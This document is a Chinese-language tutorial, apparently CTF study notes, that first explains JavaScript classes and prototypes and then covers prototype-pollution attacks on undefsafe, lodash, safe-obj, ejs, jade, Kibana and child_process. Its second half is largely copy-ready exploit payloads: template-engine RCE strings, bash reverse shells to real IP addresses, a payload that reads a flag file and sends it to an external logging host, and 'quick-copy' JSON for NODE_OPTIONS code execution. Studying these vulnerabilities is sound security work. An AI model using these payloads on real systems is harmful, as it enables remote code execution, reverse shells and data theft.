JavaScript类
下面是一个基本的 JavaScript 类的声明
1 | class Calculator { |
然后我们创建类的实例
1 | let calc = new Calculator(1) |
运行结果为:1,3,6
基于我们在其它编程语言的习惯,上面的代码非常易于理解
上述代码中,num
称为类Calculator
的属性,applyAdd``applySub
称为类Calculator
的方法,add``sub
称为类Calculator
的静态方法
在 ES6 之前,JavaScript 并没有提供 class 语法,类的功能是基于函数(function)来实现的,如下
1 | // 创建类 |
现在我们注意下面几个细节
- 用函数实现时,
function Calculator
的内容(参数、函数体)与用类实现时的constructor
相同 - 用函数实现时,方法
applyAdd
applySub
声明在Calculator.prototype
层中 - 用函数实现时,静态方法
add
sub
直接声明在Calculator
层中
构造器constructor
刚才的 new 操作完全可以写成
1 | let calc2 = new calc.constructor() |
这意味着,创建一个类的含义就是创建了一个构造器函数,创建一个实例的含义就是在继承的基础上运行了这个构造器函数
为了确保继承过程顺利进行,这个构造器函数必须含有以下特征
- 包含
prototype
属性
而在 JavaScript 中,任意函数都默认具有prototype
属性,因此,任意函数都符合一个构造器的标准,任意函数都是一个构造器,可用于生成类实例
1 | function TestClass() {} |
以上代码并不会报错
在 JavaScript 中,继承这个概念贯彻在许多操作中,每一个新的 JSON 结构的诞生,都进行了类似 new 的逻辑,因此,任何一个对象(除了null
)都具有constructor
属性,包括构造器本身
构造器本身是一个函数,当我们循环访问constructor
时将得到 JavaScript 预定义的构造器Function
,而Function
的构造器仍然是它本身
1 | Function.constructor === Function |
以上表达式将返回true
我们可以总结出如下现象
- 构造器链的尽头是
Function
Function
的构造器是Function
本身
原型和继承
当我们谈论 JavaScript 的原型,实际上是在谈论对象(JSON 结构)之间的特殊关系,有继承就有原型,有原型就有继承
原型的定义大致可以描述为:A
和B
是两个 JSON 结构,B
继承于A
,具有A
的全部内容,那么称A
就是B
的原型
在 JavaScript 中,一个 JSON 结构就可以称为是一个具体的对象,甚至包括Number``String
null
是一个特殊的对象,它表示空,如果把对象之间的继承关系画一个遗传系谱图,那么null
就是这张图上最原始的祖先
我们具有构造器函数Calculator
,它也是一个 JSON 结构(对象),具有一个属性prototype
,我们可以将这个属性理解为创建实例时的“模板”,当创建实例时,实例会继承这个“模板”的全部内容
当我们单独说谁是原型时,其实并没有意义,Calculator
的prototype
不是Calcualtor
的原型,而是Calculator
所要创建的实例(calc
)的原型,事实上,这里命名为prototype
(英文译为“原型”)造成了重大的歧义,经常对初学者甚至从业多年的程序员造成巨大困扰,为了方便表述、避免歧义,我们之后将把构造器的prototype
称为构造器的“原型模板”
构造器Calculator
创建出实例calc
后,calc
含有一个属性__proto__
,这个属性即为calc
的原型
刚才我们也提到Calculator.prototype
也是calc
的原型,所以它们两个是等价的,下面的表达式将返回true
1 | calc.__proto__ === Calculator.prototype |
当访问calc
下的applyAdd
,如果calc
自己没有applyAdd
,则会从它的原型中去查找,从而实现继承
几乎所有 JavaScript 中的对象都有原型,在 JavaScript 中,可以访问任何对象的__proto__
属性查看它的原型
另一方面,有原型就有继承,有继承就有相应的构造器,我们可以访问任何对象的constructor
属性查看它的构造器
原型对象 prototype 和 __proto__
首先我们需要分辨清楚prototype
和__proto__
的区别,以Calculator
为例,这个构造器函数的原型并不是Calculator.prototype
,而是Calculator.__proto__
,calc
的原型是calc.__proto__
等于Calculator.prototype
对于这两个原型对象我有两种理解:结合理解最好!
总之,constuctor属性和**__proto__**属性都不是被添加上去的,而是继承自构造器的prototype
属性
一、出自一位W&M大神
prototype其实并不能说是”原型”,我认为它是”原型模板”,Calculator使用他的原型模板创建了calc。当我们对原型模板进行改变时,后续创建的新对象自然也会发生改变。
当我们循环访问__proto__
时,最终将指向null
,而当我们循环访问constructor.prototype
时,最终将会给出相同的结果
这是因为一个构造器的“原型模板”的构造器就是构造器本身
1 | Number.prototype.constructor === Number |
以上表达式都将返回true
这种“循环自引用”的逻辑或许会有些难以理解和记忆,但它这么设计是有它的意义所在的
如果我们将prototype
的constructor
修改成其它的将会发生什么?例如
1 | Calculator.prototype.constructor = Number |
然后我们访问calc.constructor
,它将返回Number
构造器
让我们查看calc
的 JSON 结构
因此,calc
的contructor
属性并不是被添加上去的,而是继承自prototype
的,这也说明了为什么一个构造器的prototype.constructor
默认指向这个构造器本身
1 | // Calculator 请重新声明以覆盖前面对 prototype.constructor 的修改 |
运行结果为true,flase,true
与constructor.prototype
不同的是,__proto__
将直接指向当前的 JSON 结构继承自哪里
我们检查calc
这个对象(JSON 结构)本身的层级是否具有__proto__
属性
1 | Object.hasOwnProperty.call(calc, '__proto__') |
运行结果为false
可见其实calc
本身并不具有__proto__
属性
在 JavaScript 中,当我们访问一个对象的A
属性,如果当前对象的 JSON 结构中找不到A
属性,JavaScript 会从它的原型中去寻找
由于这个特性的存在,如果它的原型(也是一个 JSON 结构)中找不到,会从它的原型的原型中去找,直到原型为null
也没有找到则返回undefined
接下来我们追溯它的原型
1 | Object.hasOwnProperty.call(calc.__proto__, '__proto__') |
第一行返回了false
,calc.__proto__
即Calculator.prototype
,它的原型的 JSON 结构本身也不具有__proto__
属性
第二行返回了true
,我们再次打印calc.__proto__.__proto__
的结果
这个结果和Object.prototype
一致
我们可以从Object.prototype
的 JSON 结构中看到,它含有一个__proto__
属性,但是它是一个 Getter,访问__proto__
属性将运行这个 Getter 函数,将这个函数的返回值作为__proto__
属性的值
1 | 所谓 Getter,就是指一个属性的值与一个函数相绑定,访问这个属性,它的值会通过一个函数动态获取,这个函数称为这个属性的 Getter 函数 |
我们可以通过运行如下代码判断一个它是不是一个 Getter
1 | Object.getOwnPropertyDescriptor(Object.prototype, '__proto__') |
运行结果如下:
显然__proto__
的值是通过get: __proto__()
动态获取的
我们运行Object.getOwnPropertyDescriptor(Object.prototype, '__proto__').get.call(calc)
(意思是以calc
为这个 Getter 的 this 指针运行这个 Getter 函数)的结果和cal.__proto__
一样
因此,calc
中的__proto__
实际上是通过 JavaScript 中层层向原型访问的机制寻找到的,它最终通过原型链指向了Object.prototype
中的__proto__
这一带有 Getter 的属性
我们可以通过下面的代码将Object.prototype
的__proto__
修改为一个确定的、不带有 Getter 的值
1 | Object.defineProperty(Object.prototype, '__proto__', { value: 123 }) |
然后我们会发现众多对象的__proto__
都变成了123
,包括calc
和Calculator.prototype
二、出自p神的博客
不仅可以把prototype理解为原型模板,也可以将其理解为构造器的属性。
JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:
1 | function Foo() { |
Foo
函数的内容,就是Foo
类的构造函数,而this.bar
就是Foo
类的一个属性。
为了简化编写JavaScript代码,ECMAScript 6后增加了class
语法,但class
其实只是一个语法糖。
一个类必然有一些方法,类似属性this.bar
,我们也可以将方法定义在构造函数内部:
1 | function Foo() { |
但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function...
就会执行一次,这个show
方法实际上是绑定在对象上的,而不是绑定在“类”中。
我希望在创建类的时候只创建一次show
方法,这时候就则需要使用原型(prototype)了:
1 | function Foo() { |
我们可以认为原型prototype
是类Foo
的一个属性,而所有用Foo
类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。比如上图中的foo
对象,其天生就具有foo.show()
方法。
我们可以通过Foo.prototype
来访问Foo
类的原型,但Foo
实例化出来的对象,是不能通过prototype访问原型的。这时候,就该__proto__
登场了。
一个Foo类实例化出来的foo对象,可以通过foo.__proto__
属性来访问Foo类的原型,也就是说:
1 | foo.__proto__ == Foo.prototype |
所以,总结一下:
prototype
是一个类的属性,所有类对象在实例化的时候将会拥有prototype
中的属性和方法- 一个对象的
__proto__
属性,指向这个对象所在的类的prototype
属性
new做了什么事情
new 的过程实际上就是根据构造器的prototype
属性创建一个 JavaScript 对象(JSON 结构)的过程,它具有以下步骤:
- 创建一个空的 JSON 结构
- 以这个新的 JSON 结构为 this,运行类的构造器
constructor
- 在程序内部将这个 JSON 结构的原型指向构造器的
prototype
- 返回这个新的 JSON 结构
实例的属性由constructor
函数对this
添加属性而直接添加于实例(新的 JSON 结构)之下,属性是这个实例独有的,由相同构造器创建的其它实例具有它们独有的属性,互不影响
实例的方法继承自构造器的prototype
,改变构造器中的prototype
的内容将影响到所有由这个构造器创建的实例
当我们访问这个实例的constructor
属性时,JavaScript 并没有在这个实例的 JSON 结构中找到对应的属性,转而向它的原型(构造器的prototype
)寻找,并找到了constructor
属性,然后返回它的值
当我们访问这个实例的__proto__
属性时,JavaScript 并没有在这个实例的的 JSON 结构中找到对应的属性,转而向它的原型(构造器的prototype
)寻找,在它的原型中也没有找到,转而继续向它的原型的原型(Object.prototype
)寻找,并找到了__proto__
属性,并返回它的值,由于它是一个 Getter,所以 JavaScript 以所访问的实例为 this 返回了这个 Getter 函数的返回值
我们访问实例的constructor
和__proto__
属性的过程反映了 JavaScript 中的一个重要概念:原型
原型链污染是什么
foo.__proto__
指向的是Foo
类的prototype
。那么,如果我们修改了foo.__proto__
中的值,是不是就可以修改Foo类呢?
做个简单的实验:
1 | // foo是一个简单的JavaScript对象 |
最后,虽然zoo是一个空对象{}
,但zoo.bar
的结果居然是2:
原因也显而易见:因为前面我们修改了foo的原型foo.__proto__.bar = 2
,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。
后来,我们又用Object类创建了一个zoo对象let zoo = {}
,zoo对象自然也有一个bar属性了。
那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
哪些情况下原型链会被污染
在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?
我们思考一下,哪些情况下我们可以设置__proto__
的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:
- 对象merge
- 对象clone(其实内核就是将待操作的对象merge到一个空对象中)
以对象merge为例,我们想象一个简单的merge函数:
1 | function merge(target, source) { |
在合并的过程中,存在赋值的操作target[key] = source[key]
,那么,这个key如果是__proto__
,是不是就可以原型链污染呢?
我们用如下代码实验一下:
1 | let o1 = {} |
结果是,合并虽然成功了,但原型链没有被污染:
这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}}
)中,__proto__
已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]
,__proto__
并不是一个key,自然也不会修改Object的原型。
那么,如何让__proto__
被认为是一个键名呢?
我们将代码改成如下:
1 | let o1 = {} |
可见,新建的o3对象,也存在b属性,说明Object已经被污染:
这是因为,JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。
Undefsafe 模块原型链污染(CVE-2019-10795)
Undefsafe 是 Nodejs 的一个第三方模块,其核心为一个简单的函数,用来处理访问对象属性不存在时的报错问题。但其在低版本(< 2.0.3)中存在原型链污染漏洞,攻击者可利用该漏洞添加或修改 Object.prototype 属性。
1 | var undefsafe = require('undefsafe'); |
此处是正常的,那么如果我们访问不存在的属性,看看效果
会发生报错!但是如果我们使用了undefsafe模块,就不会产生报错,而是输出undefined
同时在对对象赋值时,如果目标属性存在undefsafe模块会修改属性值
1 | var undefsafe = require('undefsafe'); |
如果不存在则访问属性会在上层进行创建并赋值
漏洞分析
1 | var undefsafe = require('undefsafe'); |
由于toString本身就是存在,我们通过Undefsafe将其更改成了我们想要执行的语句。也就是说当undefsafe()函数的第 2,3 个参数可控时,我们便可以污染 object 对象中的值
(即使是不存在的属性也可以污染)
1 | var a = require("undefsafe"); |
ejs模板引擎RCE
版本 3.1.6 或更早版本
RCE的前提是需要有原型链污染, 例如一个简单的登录界面
1 | router.post('/', require('body-parser').json(),function(req, res, next) { |
跟进 copy() 函数可以看到合并两个数组内容到第一个数组
1 | function copy(object1, object2){ |
那我们就有一个可以污染的口子, 在 app.js 里可以得知使用的是 ejs 模板引擎
1 | app.engine('html', require('ejs').__express); |
ejs 的 renderFile 进入
1 | exports.renderFile = function () { |
跟进 tryHandleCache 函数, 发现一定会进入 handleCache 函数
跟进 handleCache 函数
1 | function handleCache(options, template) { |
如果能够覆盖 opts.outputFunctionName
, 这样我们构造的payload就会被拼接进js语句中,并在 ejs 渲染时进行 RCE
1
2
3
4 prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injection
prepended += ' var __tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2 = __append;'
// 拼接了命令语句
在污染了原型链之后, 渲染直接变成了执行代码, 经过 return 体前返回, 即可 getshell, POC 如下
1
2
3 {"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}
{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2"}}}
1 | {"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/156.238.233.113/4567 0>&1\"'); __tmp2"}}} |
进行 copy 函数后, 此时 outputFunctionName
已经在全局变量中被复制了, 可以在 Global 的 __proto__
的 __proto__
的 __proto__
下找到我们的污染链
再次刷新页面进行渲染时就会把我们写入的拼接, 执行我们输入的命令
同样 ejs 模板还存在另一处 RCE
1 | var escapeFn = opts.escapeFunction; |
伪造 opts.escapeFunction
也可以进行 RCE
1
2
3 {"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true}}}
{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true,"debug":true}}}
可以看到 escapeFunction
已经在全局变量中被复制了
再次刷新页面进行渲染时就会把我们写入的拼接, 执行我们输入的命令
添加 "debug":true
污染时可以在调试时候看到自己赋值的命令
一些常用payload:
1 | {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}} |
第二个好用,上面有些都用不了。多试试!!!
jade模板引擎RCE
原型链的污染思路和 ejs 思路很像, 从 require('jade').__express
进入 jade/lib/index.js
1 | exports.__express = function(path, options, fn) { |
跟进 renderFile 函数
1 | exports.renderFile = function(path, options, fn){ |
返回的时候进入了 handleTemplateCache 函数, 跟进
会进入 complie 方法, 跟进
jade 模板和 ejs 不同, 在compile之前会有 parse 解析, 尝试控制传入 parse 的语句
在 parse 函数中主要执行了这两步, 最后返回的部分
1 | var body = '' |
options.self
可控, 可以绕过 addWith
函数, 回头跟进 compile 函数, 看看作用
返回的是 buf, 跟进 visit 函数
如果 debug 为 true, node.line
就会被 push 进去, 造成拼接 (两个参数)
1
2 jade_debug.unshift(new jade.DebugItem( 0, "" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//
// 注释符注释掉后面的语句
在返回的时候还会经过 visitNode 函数
1 | visitNode: function(node){ |
经过测试 visit 开头的函数, 结果如下
1 | visitAttributes |
然后就可以返回 buf 部分进行命令执行
1 {"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//"}}}
补充: 针对 jade RCE链的污染, 普通的模板可以只需要污染 self 和 line, 但是有继承的模板还需要污染 type
Lodash 模块原型链污染
Lodash 是一个 JavaScript 库,包含简化字符串、数字、数组、函数和对象编程的工具,可以帮助程序员更有效地编写和维护 JavaScript 代码。
lodash.defaultsDeep 方法 CVE-2019-10744
影响了小于 4.17.12 的所有版本的 lodash。
Lodash 库中的 defaultsDeep 函数可能会被包含 constructor 的 Payload 诱骗添加或修改Object.prototype 。最终可能导致 Web 应用程序崩溃或改变其行为,具体取决于受影响的用例。以下是 Snyk 给出的此漏洞验证 POC:
1 | const mergeFn = require('lodash').defaultsDeep; |
这里我们本地调试一下
f7跟进后
注意看下面的变量,merge成功了。
成功在类型为 Object 的 a 对象的 __proto__
属性中添加了一个 whoami
属性,值为 Vulnerable
,污染成功。
原型被污染了
在 lodash.merge 方法造成的原型链污染中,为了实现代码执行,我们常常会污染 sourceURL
属性,即给所有 Object 对象中都插入一个 sourceURL
属性,然后通过 lodash.template 方法中的拼接实现任意代码执行漏洞。后面会讲到。
lodash.merge 方法造成的原型链污染CVE-2018-3721
在lodash 4.17.5之前的版本中 存在这个漏洞
Lodash.merge 作为 lodash 中的对象合并插件,他可以递归合并 sources
来源对象自身和继承的可枚举属性到 object
目标对象,以创建父映射对象:
1 | merge(object, sources) |
这种格式的东西在原型链污染中是出现频率很高的危险函数之一
这里当两个键相同的时候,生成的对象将有最右边的值,在这里也就是sources的值。当有多个对象相同的时候,那么新生成的对象将只有一个与这些对象相对应的键和值。这也就是之前在Merge类污染的时候讲过的递归那一块,其实和之前说的Merge类污染是很相似的,我们来看源码。
- node_modules/lodash/merge.js
直接调用了baseMerge
方法,我们直接跟进
- node_modules/lodash/_baseMerge.js
这里对srcValue有一个筛选,如果他是一个对象的话就进入baseMergeDeep
方法,我们要去Merge的对象一定是个Object
- node_modules/lodash/_baseMergeDeep.js
这里对于上一步的srcValue直接丢进了assignMergeValue
中,继续跟进
- node_modules/lodash/_assignMergeValue.js:
这里对value的值和对象键名啥的进行一个筛选,但是最终就是进入baseAssignValue
- node_modules/lodash/_baseAssignValue.js
这里可以进行绕过
1 | prefixPayload = { nickname: "Will1am" }; |
最终进入 object[key] = value
的赋值操作。
也就是object[prototype] = {“role”: “admin”}
这样就给原型对象赋值了一个名为role,值为admin的属性
POC:
1 | var lodash= require('lodash'); |
我们在 lodash.merge({}, JSON.parse(payload));
处下断点,单步结束后可以看到:
成功在类型为 Object 的 a 对象的 __proto__
属性中添加了一个 polluted
属性,值为 yes
,污染成功。

运行结果也表示了污染成功
lodash.mergeWith 方法 CVE-2018-16487
4.17.11之前的版本 存在这个漏洞
这个方法类似于 merge
方法。但是它还会接受一个 customizer
,以决定如何进行合并。 如果 customizer
返回 undefined
将会由合并处理方法代替。
1 | mergeWith(object, sources, [customizer]) |
这个方法在4.0.0版本之后添加的
lodash.set 方法 以及 setWith 方法 CWE-400
设置object
对象中对应 path 属性路径上的值,如果path不存在,则创建。 缺少的索引属性会创建为数组,而缺少的属性会创建为对象。 使用**_.setWith** 定制path创建。
1 | set(object, path, value) |
- object (Object): 要修改的对象。
- path (Array|string): 要设置的对象路径。
- value (*): 要设置的值。
返回(Object): 返回 object。
漏洞验证poc:
1 | var lodash= require('lodash'); |
还有一个setWith,与上面的类似
但是还回接受一个customizer
,用来调用并决定如何设置对象路径的值。 如果 customizer
返回 undefined
将会有它的处理方法代替。customizer
调用3个参数: (nsValue, key, nsObject) 。
1 | var lodash= require('lodash'); |
lodash.zipObjectDeep 方法 CVE-2020-8203
影响版本 < 4.17.20

1 | const _ = require('lodash'); |
接下来跟一下源码:

跟进一下baseZipObject函数

POC中调用baseZipObject函数时,length等于1,varsLength等于1,assignFunc是baseSet。
因此执行的其实是
1 | baseSet({}, '__proto__.z', 123) |
跟进baseSet函数
1 | var assignValue = require('./_assignValue'), |
这里用到castPath将路径__proto__.z
解析成属性数组['__proto__','z']
然后就进入了while循环,大概执行了以下操作:
按属性数组中元素的顺序,依次获取对象原有的属性值,并进行赋值;
如果该属性不是数组的最后一个元素,那赋值为对象本身,或空数组,或{}。
如果是数组的最后一个元素,就将该属性赋值为我们期望的value。
配合 lodash.template 实现 RCE
Lodash.template 是 Lodash 中的一个简单的模板引擎,创建一个预编译模板方法,可以插入数据到模板中 “interpolate” 分隔符相应的位置。 HTML会在 “escape” 分隔符中转换为相应实体。 在 “evaluate” 分隔符中允许执行JavaScript代码。 在模板中可以自由访问变量。 如果设置了选项对象,则会优先覆盖 _.templateSettings
的值。
在 Lodash 的原型链污染中,为了实现代码执行,我们常常会污染 template 中的 sourceURL 属性
我们看一下相关的源码
1 | // Use a sourceURL for easier debugging. |
可以看到 sourceURL 属性是通过一个三元运算赋值,options是一个对象,sourceURL取到了其options.sourceURL
属性。这个属性原本是没有赋值的,默认取空字符串。
但因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL
属性。最后,这个sourceURL
被拼接进new Function
的第二个参数中,造成任意代码执行漏洞。
这里要注意的是 Function 内是没有 require 函数的,我们不能直接使用 require(‘child_process’) ,但是我们可以使用 global.process.mainModule.constructor._load 这一串来代替,后续的调用就很简单了。
1 | \u000areturn e => {return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"} |
因为require不是全局的,他只存在于当前的模块范围,但是new function
是在新的领域运行的,所以我们想利用的话要先将它引用过来
示例payload:
1 | {"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http://onsdtb.ceye.io/${result}`);req.end();\r\n"}} |
safe-obj模块原型链污染
CVE-2021-25928
版本: 1.0.0 至 1.0.2
1 | var safeObj = require("safe-obj"); |
源码如下:
1 | expand: function (obj, path, thing) { |
接递归按照 .
做分隔写入 obj,很明显可以原型链污染
CVE-2021-25927
该漏洞存在于safe-flat,v2.0.0~v2.0.1版本中,POC如下:
1 | var safeFlat = require("safe-flat"); |
PP2RCE深入学习
关于child_process的spawn
对于child_process,它是nodejs内置模块,用于新建子进程,在CTF题目中也常使用require('child_process').exec('xxx')
来RCE。
child_process内置了6个方法:execFileSync、execSync、fork、exec、execFile、spawn()
其中execFileSync()调用spawnSync(),execSync()调用spawnSync(),而spawnSync()调用spawn();exec()调用execFile(),最后execFile()调用spawn();fork()调用spawn()。也就是说前6个方法最终都是调用spawn(),其中spawn()的本质是创建ChildProcess的实例并返回。那我们直接对spawn这个方法进行分析
1 | child.spawn({ |
以下面的代码为例:
1 | //这行代码使用解构赋值从 Node.js 的 child_process 模块中引入 spawn 函数。spawn 函数用于在系统上启动一个新的进程。 |
Node使用模块child_process
建立子进程时,调用用户层面的 spawn 方法。初始化子进程的参数,步入normalizeSpawnArguments
1 | function spawn(file, args, options) { |
其中,支持的 options 有:
uid
:设置运行时的 UIDgid
:设置运行时的 GIDcwd
:程序的运行路径,默认为process.cwd()
的返回结果shell
:如果为true
,将使用当前用户默认的 Shell 执行该命令,如果为字符串,将使用字符串中的内容作为 Shell所谓作为 Shell,假设该参数为
xxx
,那么上面的例子最终执行起来就是xxx -c whoami
argv0
:这个内容会作为argv[0]
的值,默认为spawn
的第一个参数(command
)值,若设置了shell
,默认为shell
值例如
shell
为/bin/bash
,但argv0
为bash
,则程序的cmdline
实际上是bash -c 'whoami'
,传递给程序的参数数组中,$0
将是bash
env
:存储环境变量,例如{"PATH":"/usr/bin"}
,默认继承当前环境变量stdio
:数组或字符串,控制子进程与父进程之间的输入输出流交互,可以为pipe``inherit``ignore
detached
:当父进程终止后,继续运行,默认为false
跟进normalizeSpawnArguments
1 | function normalizeSpawnArguments(file, args, options) { |
当 options 不存在时将其命为空对象
然后获取 env 变量,首先对 options.env 是否存在做了判断,如果 options.env 为undefined则将环境变量process.env
的值复制给 env
而后对 envPairs 这个数组进行push操作,其实就是 env 变量对应的键值对
在 node v18.0 中,它的代码变成了下面的形式:
1 | for (const key of envKeys) { |
用几个方法封装了同样的操作,不影响
很明显这里存在一个原型链污染的问题,options默认为空对象,那么它的任何属性都存在被污染的可能
只要能污染到Object.prototype
,那么options就可以添加我们想要的任何属性,包括options.env
经过normalizeSpawnArguments
封装并返回后,建立新的子进程new ChildProcess()
,这里才算进入内部 child_process 的实现
观察一下原生的spawn源码实现:
1 | ChildProcess.prototype.spawn = function(options) { |
其中的this._handle.spawn
调用了 process_wrap.cc 的 spawn 来生成子进程:
1 | static void Spawn(const FunctionCallbackInfo<Value>& args) { |
代码只截取了对 env 这个属性的操作,它将原先的 envPairs 进行封装。最后所有 options 带入uv_spawn
来生成子进程,在uv_spawn
中就是常规的 fork()、waitpid() 来控制进程的产生和资源释放,不过有一个非常重要的实现如下:
1 | //process.cc->uv_spawn() |
使用了 execvp 来执行任务,这里的 options->file 就是我们最初传给spawn的参数。比如我们的例子是spawn('whoami')
,那么此时的file就是whoami
,当然对于有参数的命令,则 options->args 与之对应。
流程总结:
child_process创建子进程的流程看起来有些复杂,总结一下:
1、初始化子进程需要的参数,设置环境变量
2、fork()创建子进程,并用execvp
执行系统命令。
fork()
通常用于将需要并行处理的任务放到子进程中,从而避免阻塞主线程。它可以用来运行一个独立的 JavaScript 文件,这个文件执行后会成为子进程。子进程与主进程可以通过消息传递进行通信。
3、ipc通信,输出捕捉
Kibana-RCE(CVE-2019-7609)
node > v8.0.0 支持运行node时增加一个命令行参数NODE_OPTIONS
,它能够包含一个js脚本,相当于include。
在node进程启动的时候会作为环境变量加载。
NODE_OPTIONS
是一个环境变量,用于为 Node.js 程序配置命令行选项。通过设置 NODE_OPTIONS
,你可以在启动 Node.js 进程时自动应用一些全局选项,而不需要每次启动程序时手动在命令行中指定。
使用 NODE_OPTIONS
可以对 Node.js 的行为进行全局控制,特别适合在开发和生产环境中需要对多个 Node.js 进程进行配置时使用。
node的官方文档中能找到用例:NODE_OPTIONS=options… | Node.js API 文档
1 | NODE_OPTIONS='--require ./evil.js' node |
如果我们能改变本地环境变量,则在node创建进程的时候就可以包含恶意语句,当然了这需要 bash 来export
不过上面打印 process.env 也显示出一件事,只需要污染 process.env 即可rce,于是有了Kibana的poc:
1 | .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//') |
node运行时会把当前进程的 env 写进系统的环境变量,子进程也一样,在linux中存储为/proc/self/environ
通过污染 env 把恶意的语句写进 /proc/self/environ。同时污染process.NODE_OPTIONS
属性,使node在生成新进程的时候,包含我们构造的/proc/self/environ
。具体操作就类似下面的用法
1 | AAAA='console.log(123)//' NODE_OPTIONS='--require /proc/self/environ' node |
污染了 Object.env 之后,利用Canvas生成新进程的时候会执行spawn从而RCE
由于我们的重心是pp2rce,Kibana部分的源码就不搞了,看看图得了(
需要知道的是fork()
和spawn('whoami')
的差别,虽然 fork 调用了 spawn 来实现的子进程创建
1 | exports.fork = function(modulePath /*, args, options*/) { |
它处理了 execPath 这个属性,默认获取系统变量的 process.execPath ,再传入spawn,这里是node
而使用 spawn 处理的时候,得到的file是我们传入的参数whoami
上面分析过,child_process 在子进程创建的最底层,会调用 execvp 执行命令执行file
1 | execvp(options->file, options->args); |
而上面poc的核心就是NODE_OPTIONS='--require /proc/self/environ' node
,即bash调用了node去执行。所以此处的file值必须为node,否则无法将NODE_OPTIONS载入
而直接调用spawn函数时必须有file值,这也造成了直接跑spawn('whoami')
无法加载 evil.js 的情况
所以最终的poc是:
1 | // test.js |
这个trick如果要用 fork 进行 rce 的话要求我们能够可控一个文件的内容
经过测试exec
、execFile
函数无论传入什么命令,file的值都会为/bin/sh
,因为参数shell默认为true。即使不传入 options 选项,这两个命令也会默认定义options,这也是 child_process 防止命令执行的一种途径
但是shell这个变量也是可以被污染的,不过child_process在这里做了限制,即使 shell===false 或字符串。最终传到execvp时也会被执行的参数替代,而不是真正的node进程
PP2RCE(Prototype Pollution to RCE)
通过环境变量
原理就是上面的 Kibana-RCE
为了让 /proc/self/environ 开头就是我们的恶意js代码,EVIL 的部分必须放在最开始
1 | const { execSync, fork } = require('child_process'); |
可以看到这里实际rce的就是执行了node /proc/self/environ
json速抄:
1 | {"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}} |
via env vars + cmdline
不知道从哪个版本开始,nodejs会始终将NODE_OPTIONS
放在 environ
文件中的首位,于是就有了这个方法
1 | spawn()` 函数还有另外两个选项:`argv0` 和 `shell |
- argv0:控制传递给新进程的参数列表中的第一个元素,相当于执行命令,而所有的参数都会出现在文件
/proc/self/cmdline
中,因此第一个元素将位于开头
那么我们可以尝试把 NODE_OPTIONS
的值更改为 --require /proc/self/cmdline
,并且把 payload 写入 argv0
不过这时候由于 argv0 被修改了,导致无法生成进程,因为它不是有效的命令或文件路径,这点我们可以指定 shell 参数来绕过,只要设置为一个可执行文件的路径,这样执行命令时就会把shell参数附加到命令及其参数的前面,如/bin/myshell -c "command arg1 arg2 arg3"
,这里无脑用/proc/self/exe
即可
到时候执行的节点进程大致如下:
1 | execve("/proc/self/exe", ["console.log('pwned!');//", "-c", "node …"], { NODE_OPTIONS: "--require /proc/self/cmdline" }) |
此时 argv0 即这里的console.log('pwned!');//
poc:
1 | const { execSync, fork } = require('child_process'); |
json速抄:
1 | {"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}} |
DNS探测
1 | --inspect`是用来指定调试器url的,如`NODE_OPTIONS='--inspect=localhost:4444' |
甚至可以指定一个dns服务器
1 | { |
上述两种方法延伸出child_process 下其它函数利用
node v18.4.0后,options 的默认值为 kEmptyObject 而不是 {}
,对spawn
和 spawnSync
有影响
1.exec
不能污染.env
,因为此时 options.env 的值为 null
污染cmdline:
1 | // cmdline trick - working with small variation |
windows下(后面windows都差不多就不重复copy了):
1 | const { exec } = require('child_process'); |
2.execFile
env:
1 | // environ trick - working |
cmdline:
1 | // cmdline trick - working |
还有直接控制 execArgv 参数来命令执行的:
1 | // execArgv trick - working |
3.spawn
污染env:
1 | // environ trick - working with small variation (shell and argv0) |
污染cmdline:
1 | // cmdline trick - working with small variation (shell) |
4.execFileSync
env:
1 | // environ trick - working with small variation (shell and argv0) |
cmdline:
1 | // cmdline trick - working with small variation (shell) |
stdin,居然可以直接调用 vim 写入文件:
1 | // stdin trick - working |
5.execSync
和execFileSync一样,只是换了函数而已
6.spawnSync
同上
主动调用spawn
前面的操作都是基于代码中调用了spawn
